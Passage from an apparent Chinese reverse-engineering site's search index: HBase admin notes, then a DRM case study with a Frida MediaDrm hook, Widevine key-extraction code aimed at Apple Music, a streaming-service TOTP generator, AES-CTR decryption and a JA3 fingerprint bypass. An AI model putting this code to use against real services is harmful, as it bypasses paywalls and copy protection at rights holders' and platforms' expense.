","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:6:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#集群管理"},{"categories":null,"collections":null,"content":"Region 管理 # 手动分裂 Region split 'user_info', 'user500' # 合并 Region merge_region 'region1_encoded_name', 'region2_encoded_name' # 查看 Region 信息 list_regions 'user_info' ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:6:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#region-管理"},{"categories":null,"collections":null,"content":"负载均衡 # 手动触发负载均衡 balancer # 查看负载均衡状态 balancer_enabled ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:6:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#负载均衡"},{"categories":null,"collections":null,"content":"Compaction # 手动触发 Major Compaction major_compact 'user_info' # 手动触发 Minor Compaction compact 'user_info' # 查看压缩状态 compaction_state 'user_info' ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:6:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#compaction"},{"categories":null,"collections":null,"content":"监控 # 查看 RegionServer 信息 list_regionservers # 查看表统计信息 list_table_stats 'user_info' ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:6:4","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#监控"},{"categories":null,"collections":null,"content":"知识要点 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:0","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#知识要点"},{"categories":null,"collections":null,"content":"1. HBase vs 关系型数据库 特性 HBase 关系型数据库 数据模型 列族模型 关系模型 ACID 行级原子性 完整ACID 扩展性 水平扩展 垂直扩展 查询语言 NoSQL API SQL 适用场景 大数据读写 复杂事务 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:1","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#1-hbase-vs-关系型数据库"},{"categories":null,"collections":null,"content":"2. 数据倾斜问题 问题: Region 热点，某些 Region 访问量过大 解决方案: Row Key 设计: 避免单调递增，使用散列前缀 预分区: 创建表时预先分区 负载均衡: 定期执行 balance 操作 // 预分区示例 byte[][] splits = new byte[10][]; for (int i = 0; i \u003c 10; i++) { splits[i] = Bytes.toBytes(String.format(\"%02d\", i)); } admin.createTable(tableDesc, splits); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:2","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#2-数据倾斜问题"},{"categories":null,"collections":null,"content":"3. 读取性能优化 Bloom Filter: 快速判断数据是否存在 Block Cache: 缓存热点数据 压缩: 减少存储空间和 IO 预读: 设置合理的扫描缓存 // 配置 Bloom Filter HColumnDescriptor family = new HColumnDescriptor(\"data\"); family.setBloomFilterType(BloomType.ROW); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:3","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#3-读取性能优化"},{"categories":null,"collections":null,"content":"4. 写入性能优化 批量写入: 减少 RPC 调用 WAL: 根据需要关闭 WAL MemStore: 调整内存大小 压缩: 异步压缩 // 关闭 WAL（数据安全性降低） put.setDurability(Durability.SKIP_WAL); ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:4","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#4-写入性能优化"},{"categories":null,"collections":null,"content":"5. 故障恢复 WAL: 通过预写日志恢复数据 Region 迁移: 自动迁移故障节点的 Region ZooKeeper: 监控集群状态，协调故障恢复 数据副本: 依赖 HDFS 的数据副本机制 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:5","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#5-故障恢复"},{"categories":null,"collections":null,"content":"6. 热点问题诊断 # 1. 查看 Region 分布 list_regions 'table_name' # 2. 查看 RegionServer 负载 status 'detailed' # 3. 分析访问模式 # 通过日志分析热点 Row Key # 4. 重新设计 Row Key # 添加散列前缀或使用反向时间戳 ","date":"2025-09-16","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/:7:6","tags":["大数据","工程实践","DEX"],"title":"HBase 分布式 NoSQL 数据库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hbase/#6-热点问题诊断"},{"categories":null,"collections":null,"content":"视频 App 与 DRM 案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： 网络抓包技术 - 拦截 HLS/DASH 视频流协议 密码学分析 - 理解 AES 加密与 DRM 密钥交换 视频类 App 的逆向分析是移动端安全领域最具挑战性的方向之一，其核心难点在于数字版权管理（DRM）技术的对抗。本案例将深入探讨视频 App，特别是涉及 DRM 的分析思路。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:0:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#视频-app-与-drm-案例"},{"categories":null,"collections":null,"content":"核心分析目标 视频流分析: 解析视频播放的网络协议，如 HLS (.m3u8) 和 DASH (.mpd)，并提取视频分片。 解锁 VIP 功能: 绕过付费墙，观看 VIP 专属影片或解锁更高清晰度（如 1080p, 4K）。 DRM 对抗: 理解 DRM 的工作原理，并尝试获取解密视频所需的密钥。（注意：这通常是极其困难的，且可能涉及法律风险。） ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:1:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#核心分析目标"},{"categories":null,"collections":null,"content":"案例：分析一个使用 Widevine DRM 的视频播放流程 💡 思路一句话: 拦截视频播放请求 → 分析 DRM license 获取流程 → hook MediaDrm API 提取会话密钥 → 理解内容解密链路。本案例以 Widevine L3 为例，不涉及 L1 硬件安全。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:2:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#案例分析一个使用-widevine-drm-的视频播放流程"},{"categories":null,"collections":null,"content":"第 1 步：视频流协议分析 目标: 找到描述视频信息的清单文件 (.m3u8 或 .mpd)。 网络抓包: 打开 Charles 或 Mitmproxy，启动目标视频 App 并播放一个影片。 过滤请求: 在抓包结果中，使用关键词 m3u8 或 mpd 进行过滤。你很快就能定位到一个请求，其 URL 类似于 https://.../video.mpd。 分析清单文件: DASH (.mpd): 这是一个 XML 文件，描述了视频的各种信息，包括不同的分辨率、音轨、字幕轨道以及加密信息。 HLS (.m3u8): 这是一个文本文件。主 m3u8 文件可能指向多个子 m3u8 文件，每个子文件代表一种特定的码率（清晰度），并包含了该码率下所有视频分片（.ts 文件）的 URL。 在清单文件中，你会找到一个关键的标签，表明内容是受保护的，例如： \u003c!-- DASH MPD inEncryptInformation --\u003e \u003cContentProtection schemeIdUri=\"urn:uuid:edef8ba9-79d6-4ace-a3c8-27dcd51d21ed\" cenc:default_KID=\"...value...\"\u003e \u003ccenc:pssh\u003e...\u003c/cenc:pssh\u003e \u003c/ContentProtection\u003e ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:2:1","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#第-1-步视频流协议分析"},{"categories":null,"collections":null,"content":"第 2 步：理解 DRM 工作流程 (Widevine) Google 的 Widevine 是 Android 平台上最主流的 DRM 方案。它分为三个安全级别 (L1, L2, L3)，其中 L1 安全性最高。 App 请求播放: App 从视频清单中解析出 pssh 数据。 获取许可证 (License): App 将 pssh 数据发送给系统的 MediaDrm API，生成一个许可证请求（License Request）。然后，App 将这个请求发送到视频服务提供商的许可证服务器。 服务器验证: 许可证服务器验证请求的合法性（例如，验证用户的 VIP 身份），然后返回一个加密的许可证（Encrypted License）。 解密密钥: App 将加密的许可证提供给 MediaDrm API。这一步是关键： L1 安全级别: 许可证的处理和内容密钥的解密完全在处理器的可信执行环境（TEE）中进行。Android 操作系统和 App 本身都无法访问到解密后的密钥。视频帧的解密也在 TEE 中完成，然后直接输出到屏幕，不会在 App 的内存中暴露。 L3 安全级别: 在没有 TEE 支持的设备上，这些操作都在软件层面完成。因此，L3 是理论上最容易被攻击的。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:2:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#第-2-步理解-drm-工作流程-widevine"},{"categories":null,"collections":null,"content":"第 3 步：逆向分析与信息获取 由于 L1 的硬件级保护，直接获取内容密钥（Content Key）几乎是不可能的，但在一些 arxiv 论文中，笔者确实找到了在一些特定设备中可以利用的漏洞。因此，分析的重点转向了许可证的获取过程。 目标: 拦截 App 与许可证服务器之间的通信，获取许可证请求和响应。 定位许可证请求代码: 搜索 MediaDrm, getKeyRequest, provideKeyResponse 等 android.media 包中的 DRM 相关 API。 使用 Frida Hook 这些方法，可以打印出 pssh、许可证请求和加密的许可证响应。 Java.perform(function () { var MediaDrm = Java.use(\"android.media.MediaDrm\"); // Hook getKeyRequest method to capture license requests MediaDrm.getKeyRequest.implementation = function ( scope, initData, mimeType, keyType, optionalParameters ) { console.log(\"Intercepting getKeyRequest...\"); // initData is the pssh console.log(\"PSSH (initData):\", bytesToHex(initData)); var keyRequest = this.getKeyRequest( scope, initData, mimeType, keyType, optionalParameters ); // keyRequest is a complex object, needs further parsing // ... return keyRequest; }; // Hook provideKeyResponse method to capture encrypted license MediaDrm.provideKeyResponse.implementation = function (scope, response) { console.log(\"Intercepting provideKeyResponse...\"); // response is the encrypted license obtained from the server console.log(\"Encrypted License (response):\", bytesToHex(response)); return this.provideKeyResponse(scope, response); }; }); function bytesToHex(arr) { /* ... a function to convert byte array to hex string ... */ } CDM (内容解密模块) 分析: Widevine 的 L3 级 CDM 是一个原生库（.so 文件），负责处理白盒加密的逻辑。对这个 .so 文件进行深入的静态和动态分析，是理论上还原出设备密钥（Device Key）的唯一途径，这也是 CDM Challenge 等比赛的核心。这是一个极其复杂和耗时的过程。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:2:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#第-3-步逆向分析与信息获取"},{"categories":null,"collections":null,"content":"主流平台 DRM 与加密方案实例 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:0","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#主流平台-drm-与加密方案实例"},{"categories":null,"collections":null,"content":"国内平台 (某酷、某奇艺、某讯视频、某果 TV) 国内主流视频平台在加密策略上通常采用**“自研加密方案 + 标准 DRM”**的混合模式。 对于拥有全球版权的影视剧（如好莱坞大片），它们会使用行业标准的 Widevine DRM。 对于大量的自制剧、综艺等内容，它们更倾向于使用自研的加密方案，其核心是对 HLS 协议进行改造。 通用模式：保护 HLS 密钥的获取过程 视频流: 普遍使用 HLS (.m3u8) 协议。 加密算法: .m3u8 文件中会声明视频分片（.ts 文件）使用 AES-128-CBC 加密。 核心保护: 视频数据本身的加密算法是标准的，但获取解密密钥（Key）的过程是高度定制和保护的。 .m3u8 文件本身不是静态的，而是通过一个需要复杂签名的 API 动态生成的。 #EXT-X-KEY 标签中指向的密钥 URL (key.key) 也不是一个能直接访问的地址，访问它同样需要正确的 Cookie、Referer 和加密参数。 逆向关键: 定位播放 API: 逆向的重点是找到 App 中负责请求视频播放信息的 API。这个 API 的请求参数通常包含视频 ID、清晰度、以及一个类似我们在上一章分析过的、包含设备指纹和时间戳的 sign 或 token。 模拟合法请求: 只要能够成功模拟这个 API 的调用，就能获取到一个包含了有效密钥 URL 的 .m3u8 文件。拿到密钥后，就可以使用标准的 AES-128 算法解密 .ts 文件并合并成一个完整的视频。 某讯视频的 vkey: 一个典型的例子是某讯视频，其播放 API 中需要一个至关重要的 vkey 参数，这个参数的生成算法就封装在客户端的 SO 库中。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:1","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#国内平台-某酷某奇艺某讯视频某果-tv"},{"categories":null,"collections":null,"content":"国外平台 (Netflix, 某管, Hulu, HBO Max) 国外主流视频平台，特别是内容提供商，严格且深度地依赖标准化的 DRM 体系。逆向的焦点完全不在于分析视频文件格式或算法，而在于 DRM 许可证的获取流程。 Netflix / Hulu / HBO Max DRM 方案: 在 Android 上无一例外地使用 Google Widevine，在苹果设备上使用 FairPlay。 安全级别: 对于高清内容（HD, 4K），强制要求设备的 Widevine 安全级别为 L1。这意味着密钥交换和内容解密全程在硬件 TEE 中完成，App 和操作系统均无法触及明文密钥。 许可证请求保护: 逆向的唯一着眼点是 App 发起许可证请求的过程。 这个请求被多种方式保护，例如 Netflix 使用自研的 MSL (Message Security Layer) 协议对许可证请求本身进行二次封装和加密。 App 会采集大量设备指纹信息，连同用户的身份凭证一起，用于生成许可证请求。服务端的风控系统会严格校验这些信息，以确保请求来自于一个合法的、未被篡改的官方 App 客户端。 逆向结论: 在 L1 保护下，通过逆向 App 来获取视频解密密钥以进行离线下载是几乎不可能的。分析的主要意义在于理解其架构和安全强度。 某管 某管的情况比较特殊，它需要区分对待： 付费内容 (某管 Premium / 电影): 与 Netflix 类似，使用标准的 Widevine DRM 进行保护。 普通 UGC 内容: 大部分视频没有使用 DRM 加密，但使用了另一种巧妙的保护方式——动态 URL 签名。 现象: 使用 yt-dlp 等工具下载视频时，会看到它有一个\"deciphering signature\"的过程。 原理: 视频流的 URL 中包含一个 s 或 sig 参数，这个签名是由一段混淆过的 JavaScript 代码（在 Web 端）或 Native 代码（在 App 端）动态生成的。该算法将视频的 cipher (一段加密字符串) 和其他参数作为输入，输出一个解密的签名。 逆向关键: 逆向的重点不再是 DRM，而是找到并还原那段负责计算签名的 JavaScript/Native 函数。由于代码经过了高度混淆，这依然是一项具有挑战性的工作。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#国外平台-netflix-某管-hulu-hbo-max"},{"categories":null,"collections":null,"content":"国外平台 (Netflix, 某管, Hulu, HBO Max) 国外主流视频平台，特别是内容提供商，严格且深度地依赖标准化的 DRM 体系。逆向的焦点完全不在于分析视频文件格式或算法，而在于 DRM 许可证的获取流程。 Netflix / Hulu / HBO Max DRM 方案: 在 Android 上无一例外地使用 Google Widevine，在苹果设备上使用 FairPlay。 安全级别: 对于高清内容（HD, 4K），强制要求设备的 Widevine 安全级别为 L1。这意味着密钥交换和内容解密全程在硬件 TEE 中完成，App 和操作系统均无法触及明文密钥。 许可证请求保护: 逆向的唯一着眼点是 App 发起许可证请求的过程。 这个请求被多种方式保护，例如 Netflix 使用自研的 MSL (Message Security Layer) 协议对许可证请求本身进行二次封装和加密。 App 会采集大量设备指纹信息，连同用户的身份凭证一起，用于生成许可证请求。服务端的风控系统会严格校验这些信息，以确保请求来自于一个合法的、未被篡改的官方 App 客户端。 逆向结论: 在 L1 保护下，通过逆向 App 来获取视频解密密钥以进行离线下载是几乎不可能的。分析的主要意义在于理解其架构和安全强度。 某管 某管的情况比较特殊，它需要区分对待： 付费内容 (某管 Premium / 电影): 与 Netflix 类似，使用标准的 Widevine DRM 进行保护。 普通 UGC 内容: 大部分视频没有使用 DRM 加密，但使用了另一种巧妙的保护方式——动态 URL 签名。 现象: 使用 yt-dlp 等工具下载视频时，会看到它有一个\"deciphering signature\"的过程。 原理: 视频流的 URL 中包含一个 s 或 sig 参数，这个签名是由一段混淆过的 JavaScript 代码（在 Web 端）或 Native 代码（在 App 端）动态生成的。该算法将视频的 cipher (一段加密字符串) 和其他参数作为输入，输出一个解密的签名。 逆向关键: 逆向的重点不再是 DRM，而是找到并还原那段负责计算签名的 JavaScript/Native 函数。由于代码经过了高度混淆，这依然是一项具有挑战性的工作。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#netflix--hulu--hbo-max"},{"categories":null,"collections":null,"content":"国外平台 (Netflix, 某管, Hulu, HBO Max) 国外主流视频平台，特别是内容提供商，严格且深度地依赖标准化的 DRM 体系。逆向的焦点完全不在于分析视频文件格式或算法，而在于 DRM 许可证的获取流程。 Netflix / Hulu / HBO Max DRM 方案: 在 Android 上无一例外地使用 Google Widevine，在苹果设备上使用 FairPlay。 安全级别: 对于高清内容（HD, 4K），强制要求设备的 Widevine 安全级别为 L1。这意味着密钥交换和内容解密全程在硬件 TEE 中完成，App 和操作系统均无法触及明文密钥。 许可证请求保护: 逆向的唯一着眼点是 App 发起许可证请求的过程。 这个请求被多种方式保护，例如 Netflix 使用自研的 MSL (Message Security Layer) 协议对许可证请求本身进行二次封装和加密。 App 会采集大量设备指纹信息，连同用户的身份凭证一起，用于生成许可证请求。服务端的风控系统会严格校验这些信息，以确保请求来自于一个合法的、未被篡改的官方 App 客户端。 逆向结论: 在 L1 保护下，通过逆向 App 来获取视频解密密钥以进行离线下载是几乎不可能的。分析的主要意义在于理解其架构和安全强度。 某管 某管的情况比较特殊，它需要区分对待： 付费内容 (某管 Premium / 电影): 与 Netflix 类似，使用标准的 Widevine DRM 进行保护。 普通 UGC 内容: 大部分视频没有使用 DRM 加密，但使用了另一种巧妙的保护方式——动态 URL 签名。 现象: 使用 yt-dlp 等工具下载视频时，会看到它有一个\"deciphering signature\"的过程。 原理: 视频流的 URL 中包含一个 s 或 sig 参数，这个签名是由一段混淆过的 JavaScript 代码（在 Web 端）或 Native 代码（在 App 端）动态生成的。该算法将视频的 cipher (一段加密字符串) 和其他参数作为输入，输出一个解密的签名。 逆向关键: 逆向的重点不再是 DRM，而是找到并还原那段负责计算签名的 JavaScript/Native 函数。由于代码经过了高度混淆，这依然是一项具有挑战性的工作。 ","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:2","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#某管"},{"categories":null,"collections":null,"content":"音乐流媒体平台 (某果音乐, 某破天) 音乐流媒体平台同样采用 DRM 保护其内容，但由于音频文件体积较小、交互模式不同，其加密方案与视频平台有所差异。 某果音乐 某果音乐采用 Widevine DRM + HLS 的组合方案保护其音频内容。 认证体系: accessToken: 从 Web 端 JavaScript 中提取的 JWT Token，用于 API 认证 mediaUserToken: 用户身份令牌，存储在 Cookie 中，用于访问个人化内容和高品质音源 API 架构: class AppleMusicAPI: # 元数据 API - 获取专辑、歌曲、播放列表信息 METADATA_API = \"https://amp-api.music.apple.com/v1/catalog/{storefront}/{type}s/{id}\" # 播放信息 API - 获取音频流地址和加密参数 WEBPLAYBACK_API = \"https://play.itunes.apple.com/WebObjects/MZPlay.woa/wa/webPlayback\" def get_webplayback(self, adam_id): \"\"\"获取音频播放信息\"\"\" return self.session.post( self.WEBPLAYBACK_API, json={'salableAdamId': adam_id} ).json()[\"songList\"][0] DRM 解密流程: 从 webPlayback 接口获取 HLS 播放列表 URL 解析 .m3u8 文件，提取 #EXT-X-KEY 中的 PSSH 数据 使用 Widevine CDM 构造 License Challenge 向 hls-key-server-url 发送许可证请求 解析 License 响应，提取 AES 解密密钥 使用密钥解密音频分片 def get_decryption_key(self, song_id, pssh): \"\"\"获取音频解密密钥\"\"\" # 构造 Widevine PSSH 对象 widevine_pssh = WidevinePsshData() widevine_pssh.algorithm = 1 widevine_pssh.key_ids.append(base64.b64decode(pssh.split(\",\")[1])) # 获取 License Challenge pssh_obj = PSSH(widevine_pssh.SerializeToString()) session = self.cdm.open() challenge = base64.b64encode( self.cdm.get_license_challenge(session, pssh_obj) ).decode() # 请求 License license_resp = self.session.post( self.license_url, json={ \"adamId\": song_id, \"challenge\": challenge, \"key-system\": \"com.widevine.alpha\", \"uri\": f\"data:;base64,{pssh}\", } ).json() # 解析密钥 self.cdm.parse_license(session, license_resp[\"license\"]) return next( k for k in self.cdm.get_keys(session) if k.type == \"CONTENT\" ).key.hex() 音频格式: 主要使用 28:ctrp256 格式 (256kbps AAC)，通过 HLS 协议分发。 某破天 某破天 采用双轨加密方案，根据音频格式使用不同的加密机制。 认证体系: sp_dc Cookie: 用户会话凭证，从浏览器 Cookie 中提取 TOTP 令牌: 时间动态令牌，用于生成 accessToken (详见 TOTP 技术原理) Client Token: 设备认证令牌，包含设备指纹信息 TOTP 认证机制 (关键反爬措施): class MusicTOTP: \"\"\"某破天 使用动态 TOTP 进行 API 认证\"\"\" def __init__(self): # 从远程获取 TOTP 参数 (需要定期更新) self.version = self._fetch_param(\"VERSION\") self.period = self._fetch_param(\"PERIOD\") self.digits = self._fetch_param(\"DIGITS\") self.secret = self._derive_secret() def generate(self, timestamp_ms): \"\"\"生成 TOTP 令牌\"\"\" counter = timestamp_ms // 1000 // self.period counter_bytes = counter.to_bytes(8, byteorder=\"big\") h = hmac.new(self.secret, counter_bytes, hashlib.sha1) hmac_result = h.digest() offset = hmac_result[-1] \u0026 0x0F binary = ( (hmac_result[offset] \u0026 0x7F) \u003c\u003c 24 | (hmac_result[offset + 1] \u0026 0xFF) \u003c\u003c 16 | (hmac_result[offset + 2] \u0026 0xFF) \u003c\u003c 8 | (hmac_result[offset + 3] \u0026 0xFF) ) return str(binary % (10 ** self.digits)).zfill(self.digits) API 架构: class MusicAPI: # 元数据 API METADATA_API = \"https://api.example.com/v1/{type}/{item_id}\" # 播放信息 API PLAYBACK_API = \"https://gue1-spclient.example.com/track-playback/v1/media/{type}:{id}\" # 流地址解析 API STREAM_API = \"https://gue1-spclient.example.com/storage-resolve/v2/files/audio/interactive/11/{file_id}\" # Widevine 许可证 API (AAC 格式) WIDEVINE_LICENSE_API = \"https://gue1-spclient.example.com/widevine-license/v1/{type}/license\" # PlayPlay 许可证 API (Vorbis 格式) PLAYPLAY_LICENSE_API = \"https://gew4-spclient.example.com/playplay/v1/key/{file_id}\" 双轨加密方案: 格式 加密方式 品质 密钥获取 OGG Vorbis PlayPlay (AES-CTR) 96/160/320 kbps PlayPlay API AAC (M4A) Widevine DRM 128/256 kbps Widevine License API PlayPlay 解密 (Vorbis 格式): def decrypt_playplay(self, decryption_key, encrypted_path, decrypted_path): \"\"\"某破天 自研 PlayPlay 加密使用 AES-CTR 模式\"\"\" cipher = AES.new( decryption_key, AES.MODE_CTR, nonce=bytes.fromhex(\"72e067fbddcb****\"), # 固定 Nonce initial_value=bytes.fromhex(\"ebe8bc643f63****\"), # 固定 IV ) with open(encrypted_path, \"rb\") as f: encrypted_data = f.read() decrypted_data = cipher.decrypt(encrypted_data) # 查找 OGG 文件头 offset = decrypted_data.find(b\"OggS\") with open(decrypted_path, \"wb\") as f: f.write(decrypted_data[offset:]) JA3 指纹检测绕过: 某破天 使用 JA3 指纹检测来识别非官方客户端。绕过方案： from curl_cffi import requests as curl_requests # 使用 curl_cffi 模拟 Chrome 的 TLS 指纹 session = curl_requests.Session(impersonate=\"chrome120\") 无头浏览器保活 (Token 自动刷新): 某破天 的 accessToken 有效期较短，且 TOTP 认","date":"2025-09-15","objectID":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/:3:3","tags":["RSA","Native层","签名验证","Frida","案例分析","代理池"],"title":"视频 App 与 DRM 案例","uri":"/reverse_engineering/android/03-case-studies/case_video_apps_and_drm/#音乐流媒体平台-某果音乐-某破天"},{"categories":null,"collections":null,"content":"音乐流媒体平台 (某果音乐, 某破天) 音乐流媒体平台同样采用 DRM 保护其内容，但由于音频文件体积较小、交互模式不同，其加密方案与视频平台有所差异。 某果音乐 某果音乐采用 Widevine DRM + HLS 的组合方案保护其音频内容。 认证体系: accessToken: 从 Web 端 JavaScript 中提取的 JWT Token，用于 API 认证 mediaUserToken: 用户身份令牌，存储在 Cookie 中，用于访问个人化内容和高品质音源 API 架构: class AppleMusicAPI: # 元数据 API - 获取专辑、歌曲、播放列表信息 METADATA_API = \"https://amp-api.music.apple.com/v1/catalog/{storefront}/{type}s/{id}\" # 播放信息 API - 获取音频流地址和加密参数 WEBPLAYBACK_API = \"https://play.itunes.apple.com/WebObjects/MZPlay.woa/wa/webPlayback\" def get_webplayback(self, adam_id): \"\"\"获取音频播放信息\"\"\" return self.session.post( self.WEBPLAYBACK_API, json={'salableAdamId': adam_id} ).json()[\"songList\"][0] DRM 解密流程: 从 webPlayback 接口获取 HLS 播放列表 URL 解析 .m3u8 文件，提取 #EXT-X-KEY 中的 PSSH 数据 使用 Widevine CDM 构造 License Challenge 向 hls-key-server-url 发送许可证请求 解析 License 响应，提取 AES 解密密钥 使用密钥解密音频分片 def get_decryption_key(self, song_id, pssh): \"\"\"获取音频解密密钥\"\"\" # 构造 Widevine PSSH 对象 widevine_pssh = WidevinePsshData() widevine_pssh.algorithm = 1 widevine_pssh.key_ids.append(base64.b64decode(pssh.split(\",\")[1])) # 获取 License Challenge pssh_obj = PSSH(widevine_pssh.SerializeToString()) session = self.cdm.open() challenge = base64.b64encode( self.cdm.get_license_challenge(session, pssh_obj) ).decode() # 请求 License license_resp = self.session.post( self.license_url, json={ \"adamId\": song_id, \"challenge\": challenge, \"key-system\": \"com.widevine.alpha\", \"uri\": f\"data:;base64,{pssh}\", } ).json() # 解析密钥 self.cdm.parse_license(session, license_resp[\"license\"]) return next( k for k in self.cdm.get_keys(session) if k.type == \"CONTENT\" ).key.hex() 音频格式: 主要使用 28:ctrp256 格式 (256kbps AAC)，通过 HLS 协议分发。 某破天 某破天 采用双轨加密方案，根据音频格式使用不同的加密机制。 认证体系: sp_dc Cookie: 用户会话凭证，从浏览器 Cookie 中提取 TOTP 令牌: 时间动态令牌，用于生成 accessToken (详见 TOTP 技术原理) Client Token: 设备认证令牌，包含设备指纹信息 TOTP 认证机制 (关键反爬措施): class MusicTOTP: \"\"\"某破天 使用动态 TOTP 进行 API 认证\"\"\" def __init__(self): # 从远程获取 TOTP 参数 (需要定期更新) self.version = self._fetch_param(\"VERSION\") self.period = self._fetch_param(\"PERIOD\") self.digits = self._fetch_param(\"DIGITS\") self.secret = self._derive_secret() def generate(self, timestamp_ms): \"\"\"生成 TOTP 令牌\"\"\" counter = timestamp_ms // 1000 // self.period counter_bytes = counter.to_bytes(8, byteorder=\"big\") h = hmac.new(self.secret, counter_bytes, hashlib.sha1) hmac_result = h.digest() offset = hmac_result[-1] \u0026 0x0F binary = ( (hmac_result[offset] \u0026 0x7F) \u003c\u003c 24 | (hmac_result[offset + 1] \u0026 0xFF) \u003c\u003c 16 | (hmac_result[offset + 2] \u0026 0xFF) \u003c\u003c 8 | (hmac_result[offset + 3] \u0026 0xFF) ) return str(binary % (10 ** self.digits)).zfill(self.digits) API 架构: class MusicAPI: # 元数据 API METADATA_API = \"https://api.example.com/v1/{type}/{item_id}\" # 播放信息 API PLAYBACK_API = \"https://gue1-spclient.example.com/track-playback/v1/media/{type}:{id}\" # 流地址解析 API STREAM_API = \"https://gue1-spclient.example.com/storage-resolve/v2/files/audio/interactive/11/{file_id}\" # Widevine 许可证 API (AAC 格式) WIDEVINE_LICENSE_API = \"https://gue1-spclient.example.com/widevine-license/v1/{type}/license\" # PlayPlay 许可证 API (Vorbis 格式) PLAYPLAY_LICENSE_API = \"https://gew4-spclient.example.com/playplay/v1/key/{file_id}\" 双轨加密方案: 格式 加密方式 品质 密钥获取 OGG Vorbis PlayPlay (AES-CTR) 96/160/320 kbps 